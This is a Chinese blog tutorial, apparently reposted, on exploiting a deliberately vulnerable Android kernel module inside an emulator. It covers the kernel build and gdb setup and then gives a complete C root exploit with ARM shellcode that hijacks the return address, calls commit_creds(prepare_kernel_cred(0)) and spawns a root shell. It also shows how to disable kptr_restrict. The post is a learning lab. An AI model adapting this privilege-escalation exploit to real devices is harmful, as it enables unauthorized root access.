博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
android内核漏洞利用过程学习
阅读量:2344 次
发布时间:2019-05-10

本文共 10881 字,大约阅读时间需要 36 分钟。

以前写的帖子,自己好能折腾哈哈哈哈

本次实验旨在还原android内核利用及root环境搭建的基本过程,腾讯一个实验室讲过,我把自己在重建过程中的遇到坑记录一下。方便自己和初学者参考。环境在Ubuntu17。

一、简介
1.下载内核代码,交叉编译环境(还原漏洞内核)重新编译
2.搭建模拟器环境和调试环境,实现编译加载内核以及调试加载符号链接
3.分析漏洞成因
4.利用漏洞编写exp实现root
二、实现详情
2.1、下载内核代码,交叉编译环境(还原漏洞内核)重新编译
我们查看一下模拟器内核版本cat /proc/cpuinfo

可以看到我们需要goldfish的内核,利用国内的镜像下载,谷歌的上不去,下载goldfish内核。

git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git    $ cd goldfish/    # 查看可以下载的Linux内核源码的版本

$ git branch -a

  • master
    remotes/origin/HEAD -> origin/master
    remotes/origin/android-3.10
    remotes/origin/android-3.18
    remotes/origin/android-goldfish-2.6.29
    remotes/origin/android-goldfish-3.10
    remotes/origin/android-goldfish-3.10-l-mr1-dev
    remotes/origin/android-goldfish-3.10-m-dev
    remotes/origin/android-goldfish-3.10-n-dev
    remotes/origin/android-goldfish-3.18
    remotes/origin/android-goldfish-3.18-dev
    remotes/origin/android-goldfish-3.4
    remotes/origin/android-goldfish-3.4-l-mr1-dev
    remotes/origin/android-goldfish-4.4-dev
    remotes/origin/heads/for/android-goldfish-3.18-dev
    remotes/origin/linux-goldfish-3.0-wip
    remotes/origin/master

选择下载android-goldfish-3.4的内核源码

$ git checkout remotes/origin/android-goldfish-3.4

下载编译工具链

$ git clone

创建文件 run_make_config.sh如下:
export CROSS_COMPILE=$(pwd)/arm-eabi-4.7/bin/arm-eabi-
export ARCH=arm
export SUBARCH=arm

生成编译配置文件

make goldfish_armv7_defconfig

赋予权限
$ chmod +x run_make_config.sh
$ source run_make_config.sh
上述操作均在goldfish目录,否则报错
修改生成的Android内核编译配置文件.config,增加Android内核编译的config选项。默认的 make goldfish_armv7_defconfig 配置没有打开调试选项,也没有使用HIGHMEM等选项,因此为了使用 kgdb 调试Android内核必须增加这些选项。这里手动打开goldfish/.config文件,增加调试相关的选项配置。

  1. 打开Android内核编译的配置文件
  2. $ gedit .config 增加的编译配置选项:
  3. 设置模拟器的运行内存-可选参数
  4. CONFIG_HIGHMEM=y
  5. CONFIG_DEBUG_KERNEL=y
  6. CONFIG_KGDB=y
  7. CONFIG_DEBUG_INFO=y
  8. 真机设备调试需要设置这一项,模拟器不需要
  9. CONFIG_KGDB_SERIAL_CONSOLE=y
  10. 可以是直接在配置文件中去掉这一项
  11. CONFIG_DEBUG_RODATA=n
    上面修改.config完成以后,保存和关闭.config文件,然后执行下面的命令进行Android内核源码的编译。由于前面修改Android内核编译配置时,增加了几个配置,因此编译一开始会有提示让选择配置选项,记得相关的配置全部选 y 就可以了。Android内核编译完成后,goldfish/arch/arm/boot/zImage文件出现,这个文件就是Android内核文件了。
    以下是编译一个漏洞进内核:
    下载github上的一个 安卓漏洞利用的项目, git clone kernel_exploit_challenges
    然后使用项目中的patch文件把 patch 内核编译配置,来把项目中的带漏洞的模块编译进linux内核
    git am --signoff < …/kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && \cd … && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities
    这一步要在生成.config之后,如果早了命令会出错。 $ make -j4
    · # 启动运行创建的Android模拟器Debug_Kernel ·
    $ emulator -avd Debug_Kernel -gpu mesa 命令行启动一下,可以的话关掉。
    $ emulator -avd Debug_Kernel -verbose -netfast -show-kernel -kernel ./arch/arm/boot/zImage -gpu mesa -qemu -s -S
    调试内核一般不需要显示图形界面和声音,因此增加启动选项 -no-window, no-audio ,增加 -verbose -show-kernel 选项 可以看到内核的详细输出信息,-kernel 选项 指定加载的内核镜像文件为前面编译的Android内核镜像文件,增加 -qemu -s -S 选项 启动调试监听即Android内核启动以后会监听端口 1234 ,暂停等待调试,这时需要打开另一个命令终端运行 gdb 程序,对Android内核进行调试,还可以增加 -memory 2048 选项 设置运行的内存大小,增加运行内存使调试运行更流畅。
    2.2、搭建模拟器环境和调试环境,实现加载编译内核以及加载调试符号链接
    默认有java的执行环境,自行安装sdk,并下载API19.(这里有一个不用换源就能用的linux下的android sdk 使用 android create avd 命令,创建Android模拟器Debug_Kernel的示例,如下:

查看本地下载的Android SDK

$ android list targets

创建Android模拟器 Debug_Kernel

$ android create avd -n Debug_Kernel -t android-19 -b default/armeabi-v7a -s HVGA

Android API 19的Android模拟器 Debug_Kernel 创建成功以后,
使用下面的命令检查新创建的Android模拟器 Debug_Kernel 能否正常启动成功。

查看已经创建的Android模拟器

$ emulator -list-avds

启动运行创建的Android模拟器Debug_Kernel

$ emulator -avd Debug_Kernel -gpu mesa

$ emulator -avd Debug_Kernel -verbose -netfast -show-kernel -kernel ./arch/arm/boot/zImage -gpu mesa -qemu -s -S

其实Android模拟器 emulator 就是 基于qemu虚拟机 开发的,因此Android模拟器 emulator 在运行的时候也支持qemu虚拟机的命令,在上面以 调试模式启动 Android虚拟机 Debug_Kernel 时使用的启动选项 -qemu -s -S的作用,可以参考命令行的帮助,如下图:
配置交叉编译环境变量

编辑环境变量配置文件

$ sudo gedit /etc/profile

添加到环境变量配置文件/etc/profile中的内容

export ANDROID_TOOLCHAIN=/home/fly2016/Android4.4.4r1/goldfish-kernel-3.4/goldfish/arm-eabi-4.7

export PATH= P A T H : PATH: PATH:{ANDROID_TOOLCHAIN}/bin/

更新系统环境变量

$ source /etc/profile

测试是否配置成功

$ arm-eabi-gdb

OK,arm-eabi-gdb 工具的问题解决了,

下面在Android内核源码的根目录下,执行下面的命令进行Android内核的源码调试:

在Android内核源码的根目录下执行

加载内核符号信息

$ arm-eabi-gdb vmlinux

连接远端的调试器

$ target remote :1234

测试命令

$ list

$ n
$ arm-eabi-gdb --help

2.3.分析漏洞成因

首先看看漏洞代码, kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c:
代码会创建/proc/stack_buffer_overflow 设备文件 ,当向该设备文件调用 write 系统调用时会调用 proc_entry_write 函数进行处理。漏洞显而易见,在 proc_entry_write 函数中 定义了一个 64 字节大小的栈缓冲区 buf, 然后使用 copy_from_user(&buf, ubuf, count) 从用户空间 拷贝数据到 buf ,数据大小和内容均用户可控。于是当我们输入超过64字节时我们能够覆盖其他的数据,比如返回地址等,进而劫持程序执行流到我们的 shellcode 中 进行提权。

#include 
#include
#include
#include
#include
#include
#define MAX_LENGTH 64MODULE_LICENSE("GPL");MODULE_AUTHOR("Ryan Welton");MODULE_DESCRIPTION("Stack Buffer Overflow Example");static struct proc_dir_entry *stack_buffer_proc_entry;int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data){ char buf[MAX_LENGTH]; if (copy_from_user(&buf, ubuf, count)) { printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n"); return -EFAULT; } return count;}static int __init stack_buffer_proc_init(void){ stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL); stack_buffer_proc_entry->write_proc = proc_entry_write; printk(KERN_INFO "created /proc/stack_buffer_overflow\n"); return 0;}static void __exit stack_buffer_proc_exit(void){ if (stack_buffer_proc_entry) { remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry); } printk(KERN_INFO "vuln_stack_proc_entry removed\n");}module_init(stack_buffer_proc_init);module_exit(stack_buffer_proc_exit);

首先我们来试试触发漏洞。先把模拟器打开,然后 adb shell 进入模拟器,使用 echo 命令向 /proc/stack_buffer_overflow 设备输入72字节的数据。

echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow
触发异常
溢出到返回地址
可以看到 pc 寄存器的值 为 0x41414141 成功劫持。测试时该内核没开 pxn ,所以我们可以在用户态编写shellcode让内核去执行。提取的方式很简单,内核态调用 commit_creds(prepare_kernel_cred(0)); 提升权限为 root, 然后返回 用户态 执行 execl("/system/bin/sh", “sh”, NULL); 起一个 root 权限的 shell, 完成提权。下面先获取 prepare_kernel_cred 和 commit_creds 函数的地址。在 /proc/kallsyms 文件中保存着所有的内核符号的名称和它在内存中的位置。不过在最近的内核版本中,为了使利用内核漏洞变得更加困难,linux内核目前禁止一般用户获取符号。

当启用 kptr_restrict 时我们不能获取内核符号地址的。这里的地址每次开机都会改变,我们先忽略这个随机过程,直接硬编码。

root@generic:/ # cat /proc/kallsyms | grep commit_creds

00000000 T commit_creds
在本文中,把它禁用掉,不管他。

root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict

echo 1 > /proc/sys/kernel/kptr_restrict
root@generic:/ # cat /proc/kallsyms | grep commit_creds
c0039834 T commit_creds

root@generic:/ # cat /proc/kallsyms | grep prepare_kernel_cred

c0039d34 T prepare_kernel_cred
c003a85c T prepare_kernel_cred //myaddress
禁用掉之后,我们就可以通过 /proc/kallsyms 获取 commit_creds 和 prepare_kernel_cred的地址。

至此,提权的问题解决了,下面就是要回到用户态,在x86平台有 iret指令可以回到用户态,在arm下返回用户态就更简单了。在arm下 cpsr 寄存器的 M[4:0] 位用来表示 处理器的运行模式,具体可以看这个。所以我们把 cpsr 寄存器的 M[4:0] 位设置为 10000后就表示 处理器进入了用户模式。

2.4.利用漏洞编写exp实现root
所以现在的利用思路是:
1.调用 commit_creds(prepare_kernel_cred(0)) 提升权限
为什么这里能提权,我说一下。其实这个和linux的权限管理过程有关。linux用户一般开启root直接都是su一下,输入密码就可以。android使用linux的内核,但android默认的用户没有root,被系统函数给降权了。怎么才能提权呢?其实只要找一个权限较高的进程让他set uid 、gid为0,那么用户自然就变成了root。本来想找一下这里的源码看一下,不过好像没必要。这里的函数应该就是实现类似的功能。如果没有高权限的进程设置uid、gid,提权一般是不可能了。
2.调用 mov r3, #0x40000010; MSR CPSR_c,R3; 设置 cpsr寄存器,使cpu进入用户模式
3.然后执行 execl("/system/bin/sh", “sh”, NULL); 起一个 root 权限的 shell

最后的 exp :

#include 
#include
#include
#include
#include
#define MAX 64int open_file(void){ int fd = open("/proc/stack_buffer_overflow", O_RDWR); if (fd == -1) err(1, "open"); return fd;}void payload(void){ printf("[+] enjoy the shell\n"); execl("/system/bin/sh", "sh", NULL);}extern uint32_t shellCode[];asm(" .text\n"" .align 2\n"" .code 32\n"" .globl shellCode\n\t""shellCode:\n\t"// commit_creds(prepare_kernel_cred(0));// -> get root"LDR R3, =0xc0039d34\n\t" //prepare_kernel_cred addr"MOV R0, #0\n\t""BLX R3\n\t""LDR R3, =0xc0039834\n\t" //commit_creds addr"BLX R3\n\t""mov r3, #0x40000010\n\t""MSR CPSR_c,R3\n\t""LDR R3, =0x879c\n\t" // payload function addr"BLX R3\n\t");void trigger_vuln(int fd){ #define MAX_PAYLOAD (MAX + 2 * sizeof(void*) ) char buf[MAX_PAYLOAD]; memset(buf, 'A', sizeof(buf)); void * pc = buf + MAX + 1 * sizeof(void*); printf("shellcdoe addr: %p\n", shellCode); printf("payload:%p\n", payload); *(void **)pc = (void *) shellCode; //ret addr /* Kaboom! */ write(fd, buf, sizeof(buf) );}int main(void){ int fd; fd = open_file(); trigger_vuln(fd); payload(); close(fd);}

简单的说就是在用户态建立设置UID和gid为0的代码,使用溢出令内核态的代码跳转到用户态构造好的提权代码进行提权。

当然如果直接在用户态执行提权代码权限是不够的。
arm-linux-androideabi-gcc exp.c -o exp
将编译好的文件放到模拟器任意目录执行即可

对于编译一个基于某些依赖库的程序,而这些依赖库在Android系统中已经有时,最简便的方法是找到它的头文件(有的头文件交叉便器的include中没有),然后再从Android系统中拷贝出相应的.so文件,用交叉编译器或者ndk-build编译即可。

arm-linux-androideabi-gcc -I[头文件目录] -L[动态库位置] filename.c -o filename

或者编写Android.mk文件,利用ndk-build.

LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := client_android
LOCAL_SRC_FILES := client.c
LOCAL_CFLAGS += -I/home/wwtao/Desktop/bluetooth/include/include
LOCAL_LDLIBS += -L/home/wwtao/Desktop/bluetooth/libfrompanda -lbluetooth
include $(BUILD_EXECUTABLE)
#include $(BUILD_STATIC_LIBRARY)
#include $(BUILD_SHARED_LIBRARY)

其中,LOCAL_PATH := $(call my-dir) 设置LOCAL_PATH为当前了路径

include $(CLEAR_VARS)是清空当前的变量
LOCAL_MODULE 是编译后生成的文件名
LOCAL_SRC_FILES 是编译的源文件
LOCAL_CFLAGS 是设置编译时的头文件搜索路径
LOCAL_LDLIBS 是设置编译时搜索动态链接库的路径
include $(BUILD_EXECUTABLE) 是生成可执行文件,如果是BUILD_STATIC_LIBRARY是生成静态库,如果是BUILD_SHARED_LIBRARY。

如果出现

Unable to auto-config arch from toolchain
这是说无法自动配置 toolchain,需要手动配置.先看看你的ndk支持编译哪些cpu

oldfeel@oldfeel:~/android-ndk$ ls toolchains/aarch64-linux-android-4.9        mipsel-linux-android-4.8aarch64-linux-android-clang3.4   mipsel-linux-android-4.9aarch64-linux-android-clang3.5   mipsel-linux-android-clang3.4arm-linux-androideabi-4.6        mipsel-linux-android-clang3.5arm-linux-androideabi-4.8        renderscriptarm-linux-androideabi-4.9        x86-4.6arm-linux-androideabi-clang3.4   x86-4.8arm-linux-androideabi-clang3.5   x86-4.9llvm-3.4                         x86_64-4.9llvm-3.5                         x86_64-clang3.4mips64el-linux-android-4.9       x86_64-clang3.5mips64el-linux-android-clang3.4  x86-clang3.4mips64el-linux-android-clang3.5  x86-clang3.5mipsel-linux-android-4.6

编辑 ,找到并修改 TOOLCHAIN_NAME= 为

vim build/tools/make-standalone-toolchain.sh

三、总结
我这里adb shell进入android默认就是root权限
$id
uid(0)root pid(0)root
这让我觉得本次实验好像有点蹩脚。不管怎样历经了很多莫名的错误和奔溃终于实现了。我感觉调试内核千万要用linux的系统,windows下各种神奇的错误,简直怀疑人生了。

参考:

感谢网友帮助

备注:
降权

root@generic:/ # iduid=0(root) gid=0(root) context=u:r:shell:s0root@generic:/ # su 2000root@generic:/ $ iduid=2000(shell) gid=2000(shell) context=u:r:su:s0

转载地址:http://cvjvb.baihongyu.com/

你可能感兴趣的文章
Mysql几种索引类型的区别及适用情况
查看>>
判断一个数组,是否可以分成两个数组之和相等的数组
查看>>
背包问题
查看>>
结构体变量之间的比较和赋值原理
查看>>
产生死锁的必要条件及处理方法
查看>>
TCP和UDP的区别
查看>>
事务具有四个特性
查看>>
Hadoop Hdfs 配置
查看>>
tsung集群测试
查看>>
oracle定时删除表空间的数据并释放表空间
查看>>
解决文件提示: /bin/ksh^M: bad interpreter: bad interpreter:No such file or directory
查看>>
ajaxanywhere jsp 使用
查看>>
如何静态化JSP页面
查看>>
XML 与 Java 技术: 用 Castor 进行数据绑定
查看>>
Python未知领域系列:(附Python学习教程+Python学习路线)Python高级教程之面向对象
查看>>
盘点Python 面向对象编程最容易被忽视的知识点
查看>>
Python:一个可以套路别人的python小程序
查看>>
Python教程:Python数据类型之字典
查看>>
Python基础教程:python的数据类型
查看>>
写给那些想学Python的人,建议收藏后细看
查看>>